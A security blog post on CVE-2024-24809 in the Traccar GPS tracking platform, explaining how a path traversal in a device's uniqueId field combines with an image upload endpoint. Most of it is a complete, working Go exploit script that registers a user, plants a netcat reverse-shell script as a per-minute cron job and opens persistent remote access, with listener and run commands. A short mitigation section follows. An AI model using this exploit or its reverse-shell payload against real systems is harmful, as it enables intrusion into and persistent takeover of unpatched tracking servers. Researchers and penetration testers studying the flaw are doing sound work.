CVE-2024-24809: Traccar GPS Path Traversal and File Upload Vulnerability

2024-10-13
Kamran Hasan
CVE-2024-24809
CVE-2024-24809 exploit
Traccar vulnerability
Traccar remote code execution
GPS tracking platform vulnerability
file upload vulnerability
Reverse shell by file upload
arbitrary code execution
Hack Traccar GPS tracking
open-source GPS tracking
Hack Traccar GPS
Exploit Traccar
Path Traversal
CVE-2024-24809: Traccar GPS Path Traversal and File Upload Vulnerability

Overview

CVE-2024-24809 is a critical vulnerability affecting Traccar, an open-source GPS tracking system. This vulnerability combines a path traversal attack with an unrestricted file upload, allowing attackers to execute arbitrary code on affected systems. The vulnerability was discovered in Traccar versions prior to 6.0 and was patched in version 6.0.

Affected Components

The vulnerability specifically affects the file upload functionality in Traccar's web interface, primarily in the following areas:

  • User registration and authentication system

  • Device management API

  • File upload mechanism for device images

Attack Vector

An authenticated attacker can exploit this vulnerability through a series of API calls, manipulating the file upload process and device configuration. The attack involves several steps:

  • User registration and authentication

  • Device creation

  • Initial file upload

  • Manipulation of device configuration to enable path traversal

  • Secondary file upload to exploit the path traversal

Proof of Concept Lab

Unfortunately, there's a docker image that we can use to host the vulnerable instance of Traccar GPS in our local environment. All we need to do is pull and run that image:

docker run \
--name traccar \        
--hostname traccar \
 --restart unless-stopped \
--publish 80:8082 \
--publish 5000-5150:5000-5150 \
--publish 5000-5150:5000-5150/udp \
--volume /opt/traccar/logs:/opt/traccar/logs:rw \
--volume /opt/traccar/traccar.xml:/opt/traccar/conf/traccar.xml:ro \
traccar/traccar:5.12

This will simply start the Traccar instance on localhost port 80.

Exploitation Process

Here's a detailed breakdown of the exploitation process:

1. User Registration and Authentication:

  • The attacker registers a new user account using randomly generated credentials.

  • The attacker logs in to obtain a valid session.

2. Device Creation:

  • A new device is added to the system using the `/api/devices` endpoint.

  • This step is necessary to obtain a valid device ID for subsequent operations.

3. Initial File Upload:

  • The attacker uploads a file (in this case, a shell script) using the `/api/devices/{device_id}/image` endpoint.

  • The Content-Type header is set to `image/{file_suffix}` to bypass initial file type checks.

4. Path Traversal Setup:

  • The attacker modifies the device configuration using the `/api/devices/{device_id}` endpoint.

  • The crucial part of this step is changing the `uniqueId` parameter to include path traversal sequences: "uniqueId": f"{device_name}/../../../../..{upload_path}". This manipulation allows the attacker to control the final upload location.

5. Malicious File Upload:

  • The attacker performs a second file upload using the same endpoint as in step 3.

  • Due to the path traversal in the device configuration, this file is now placed in the attacker-specified location.

6. Code Execution:

  • In this exploit, the uploaded file is a shell script that creates a reverse shell connection.

  • The script is placed in `/etc/periodic/1minute`, to be executed by the system's cron job, leading to persistent remote access.

Exploit Script

Here's the script that covers the exploitation process on our hosted target:

package main
import (
        "bytes"
        "encoding/json"
        "fmt"
        "io"
        "math/rand"
        "net/http"
        "net/http/cookiejar"
        "net/url"
        "os"
        "strings"
        "time"
)
// Create a client with cookie support
var client *http.Client

func init() {
        // Initialize cookie jar
        jar, err := cookiejar.New(nil)
        if err != nil {
                panic(err)
        }
        client = &http.Client{
                Jar: jar,
                Timeout: time.Second * 10,
        }
}

func generateRandomString(length int) string {
        const letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
        b := make([]byte, length)
        for i := range b {
                b[i] = letters[rand.Intn(len(letters))]
        }
        return string(b)
}

type RegisterData struct {
        Name     string      `json:"name"`
        Email    string      `json:"email"`
        Password string      `json:"password"`
        TotpKey  interface{} `json:"totpKey"`
}

func register(target, username string) (*http.Response, error) {
        data := RegisterData{
                Name:     username,
                Email:    fmt.Sprintf("%s@admin.com", username),
                Password: "123456",
                TotpKey:  nil,
        }

        jsonData, err := json.Marshal(data)
        if err != nil {
                return nil, err
        }
        req, err := http.NewRequest("POST", target+"/api/users", bytes.NewBuffer(jsonData))
        if err != nil {
                return nil, err
        }
        req.Header.Set("Content-Type", "application/json")
        resp, err := client.Do(req)
        if err != nil {
                return nil, err
        }
        return resp, nil
}

func login(target, username string) (*http.Response, error) {
        data := url.Values{}
        data.Set("email", username+"@admin.com")
        data.Set("password", "123456")
        req, err := http.NewRequest("POST", target+"/api/session", strings.NewReader(data.Encode()))
        if err != nil {
                return nil, err
        }
        req.Header.Set("Content-Type", "application/x-www-form-urlencoded;charset=UTF-8")
        resp, err := client.Do(req)
        if err != nil {
                return nil, err
        }
        return resp, nil
}

type DeviceData struct {
        Name     string `json:"name"`
        UniqueId string `json:"uniqueId"`
}

func addDevice(target, deviceName string) (*http.Response, error) {
        data := DeviceData{
                Name:     deviceName,
                UniqueId: deviceName,
        }
        jsonData, err := json.Marshal(data)
        if err != nil {
                return nil, fmt.Errorf("marshal error: %v", err)
        }
        req, err := http.NewRequest("POST", target+"/api/devices", bytes.NewBuffer(jsonData))
        if err != nil {
                return nil, fmt.Errorf("request creation error: %v", err)
        }
        req.Header.Set("Content-Type", "application/json")
        resp, err := client.Do(req)

        if err != nil {
                return nil, fmt.Errorf("request error: %v", err)
        }
        return resp, nil
}

func uploadFile(target string, deviceID int, fileSuffix string, data string) (*http.Response, error) {
        req, err := http.NewRequest("POST", 
                fmt.Sprintf("%s/api/devices/%d/image", target, deviceID),
                strings.NewReader(data))
        if err != nil {
                return nil, err
        }
        req.Header.Set("Content-Type", fmt.Sprintf("image/%s", fileSuffix))
        return client.Do(req)
}

type DeviceUpdateData struct {
        ID         int         `json:"id"`
        Attributes Attributes  `json:"attributes"`
        GroupID    int        `json:"groupId"`
        CalendarID int        `json:"calendarId"`
        Name       string     `json:"name"`
        UniqueId   string     `json:"uniqueId"`
        Status     string     `json:"status"`
        LastUpdate interface{} `json:"lastUpdate"`
        PositionID int        `json:"positionId"`
        Phone      interface{} `json:"phone"`
        Model      interface{} `json:"model"`
        Contact    interface{} `json:"contact"`
        Category   interface{} `json:"category"`
        Disabled   bool       `json:"disabled"`
        ExpirationTime interface{} `json:"expirationTime"`
}

type Attributes struct {
        DeviceImage string `json:"deviceImage"`
}

func changeUploadPath(target string, deviceID int, deviceName, uploadPath string) (*http.Response, error) {
        data := DeviceUpdateData{
                ID: deviceID,
                Attributes: Attributes{
                        DeviceImage: "device.png",
                },
                GroupID:    0,
                CalendarID: 0,
                Name:       "test",
                UniqueId:   fmt.Sprintf("%s/../../../../..%s", deviceName, uploadPath),
                Status:     "offline",
        }

        jsonData, err := json.Marshal(data)
        if err != nil {
                return nil, err
        }

        req, err := http.NewRequest("PUT", 
                fmt.Sprintf("%s/api/devices/%d", target, deviceID),
                bytes.NewBuffer(jsonData))
        if err != nil {
                return nil, err
        }
        req.Header.Set("Content-Type", "application/json")
        return client.Do(req)
}

func main() {
        if len(os.Args) != 4 {
                fmt.Printf("Usage: %s http://localhost:80 LISTENER_IP LISTENER_PORT\n", os.Args[0])
                os.Exit(0)
        }
        rand.Seed(time.Now().UnixNano())
        target := os.Args[1]
        username := generateRandomString(8)

        // Register user
        resp, err := register(target, username)
        if err != nil {
                fmt.Println("Register Error:", err)
                os.Exit(1)
        }
        body, _ := io.ReadAll(resp.Body)
        resp.Body.Close()
        if !strings.Contains(string(body), username) {
                fmt.Printf("Register Error!! Response: %s\n", string(body))
                os.Exit(1)
        }
        fmt.Printf("Register: %s@admin.com Password: 123456\n", username)

        // Login
        resp, err = login(target, username)
        if err != nil {
                fmt.Println("Login Error:", err)
                os.Exit(1)
        }
        body, _ = io.ReadAll(resp.Body)
        resp.Body.Close()
        if !strings.Contains(string(body), username) {
                fmt.Printf("Login Error!! Response: %s\n", string(body))
                os.Exit(1)
        }
        fmt.Println("Login Success!!")
        deviceName := generateRandomString(8)

        // Add Device
        resp, err = addDevice(target, deviceName)
        if err != nil {
                fmt.Println("Add Device Error:", err)
                os.Exit(1)
        }
        body, _ = io.ReadAll(resp.Body)
        resp.Body.Close()

        // Debug output
        fmt.Printf("Add Device Response: %s\n", string(body))

        var deviceResp map[string]interface{}
        if err := json.Unmarshal(body, &deviceResp); err != nil {
                fmt.Printf("Add Device Error!! JSON parse error: %v\n", err)
                os.Exit(1)
        }

        deviceID, ok := deviceResp["id"].(float64)
        if !ok {
                fmt.Printf("Add Device Error!! Could not get device ID from response: %v\n", deviceResp)
                os.Exit(1)
        }

        fmt.Printf("Add Device Success!! [%s] with ID: %.0f\n", deviceName, deviceID)

        // Upload File
        suffix := "sh"
        shellData := fmt.Sprintf("#!/bin/sh \n exec nc %s %s -e /bin/sh\n", os.Args[2], os.Args[3])

        resp, err = uploadFile(target, int(deviceID), suffix, shellData)
        if err != nil {
                fmt.Println("Upload Error:", err)
                os.Exit(1)
        }
        body, _ = io.ReadAll(resp.Body)
        resp.Body.Close()
        if !strings.Contains(string(body), "device."+suffix) {
                fmt.Printf("Upload Error!! Response: %s\n", string(body))
                os.Exit(1)
        }
        fmt.Println("First Upload Success!!")

        // Change Upload Path
        uploadPath := "/etc/periodic/1minute"
        resp, err = changeUploadPath(target, int(deviceID), deviceName, uploadPath)
        if err != nil {
                fmt.Println("Change Upload Path Error:", err)
                os.Exit(1)
        }
        body, _ = io.ReadAll(resp.Body)
        resp.Body.Close()
        if !strings.Contains(string(body), uploadPath) {
                fmt.Printf("Change Upload Path Error!! Response: %s\n", string(body))
                os.Exit(1)
        }
        fmt.Println("Change Upload Path Success!!")

        // Upload File Again
        resp, err = uploadFile(target, int(deviceID), suffix, shellData)
        if err != nil {
                fmt.Println("Upload Error:", err)
                os.Exit(1)
        }
        body, _ = io.ReadAll(resp.Body)
        resp.Body.Close()
        if !strings.Contains(string(body), "device."+suffix) {
                fmt.Printf("Upload Error!! Response: %s\n", string(body))
                os.Exit(1)
        }

        fmt.Println("Uploaded reverse shell payload as a cron job successfully!")
        fmt.Println("Check listener for reverse shell connection")
}

This exploit requires a netcat listener to be set up on the target machine to catch the reverse shell:

nc -lvnp 4444

Once it is set up, we can execute the above script to exploit the vulnerable Traccar instance.

go run exploit.go http://localhost:80 LISTENER_IP LISTENER_PORT

In case of a successful exploit, we should receive the reverse shell on our listener:

Technical Analysis of the Exploit

The exploit leverages several Traccar API endpoints:

  • ‘/api/users’: User registration

  • ‘/api/session’: User authentication

  • ‘/api/devices’: Device management (creation and modification)

  • ‘/api/devices/{device_id}/image’: File upload functionality

The core of the vulnerability lies in how Traccar handles file uploads and device configurations:

  • Lack of Path Sanitization: The application fails to properly sanitize the `uniqueId` field in device configurations, allowing for directory traversal.

  • Insufficient File Type Validation: The initial upload accepts files with arbitrary extensions, only checking the Content-Type header.

  • Improper File Path Construction: The final upload location is influenced by user-controlled data (the `uniqueId` field), leading to arbitrary file placement.

The exploit creates a simple reverse shell payload:

#!/bin/sh
exec nc {LISTENER_IP} {LISTENER_PORT} -e /bin/sh

This payload, when executed, establishes a network connection to the attacker's machine and provides shell access to the compromised system.

Impact

The successful exploitation of CVE-2024-24809 can lead to:

  • Remote Code Execution (RCE)

  • Persistent backdoor access to the Traccar server

  • Complete compromise of the GPS tracking system

  • Potential lateral movement within the connected network

Mitigation and Best Practices

To prevent similar vulnerabilities:

  • Implement strict input validation for all user-supplied data, especially in device configurations.

  • Use a whitelist approach for allowed upload destinations.

  • Employ robust file type checking that goes beyond Content-Type headers.

  • Implement proper access controls and privilege separation.

  • Regularly update and patch the Traccar installation.

Conclusion

CVE-2024-24809 demonstrates the complex interplay between seemingly separate application functions (device configuration and file upload) that can lead to critical vulnerabilities. It underscores the importance of holistic security reviews that consider how different parts of an application might interact in unexpected ways.

For security researchers and penetration testers, this vulnerability serves as an excellent case study in chaining multiple application behaviors to achieve remote code execution. It highlights the need for thorough testing of file upload functionalities, especially in conjunction with other configurable application parameters.

CVE-2024-48914: Arbitrary File Read Vulnerability in Vendure
CVE-2024-48914: Arbitrary File Read Vulnerability in Vendure
2024-10-26
Kamran Hasan
CVE-2022-44268: Arbitrary File Disclosure in ImageMagick
CVE-2022-44268: Arbitrary File Disclosure in ImageMagick
2024-05-26
James McGill
CVE-2021-43798: Path Traversal in Grafana
CVE-2021-43798: Path Traversal in Grafana
2024-03-30
James McGill
CVE-2021-3129: Remote Code Execution in Laravel
CVE-2021-3129: Remote Code Execution in Laravel
2024-02-14
James McGill
CVE-2024-28116: Server-Side Template Injection in Grav CMS
CVE-2024-28116: Server-Side Template Injection in Grav CMS
2024-03-24
James McGill
CVE-2022-42889: Remote Code Execution in Apache Commons Text
CVE-2022-42889: Remote Code Execution in Apache Commons Text
2024-01-13
James McGill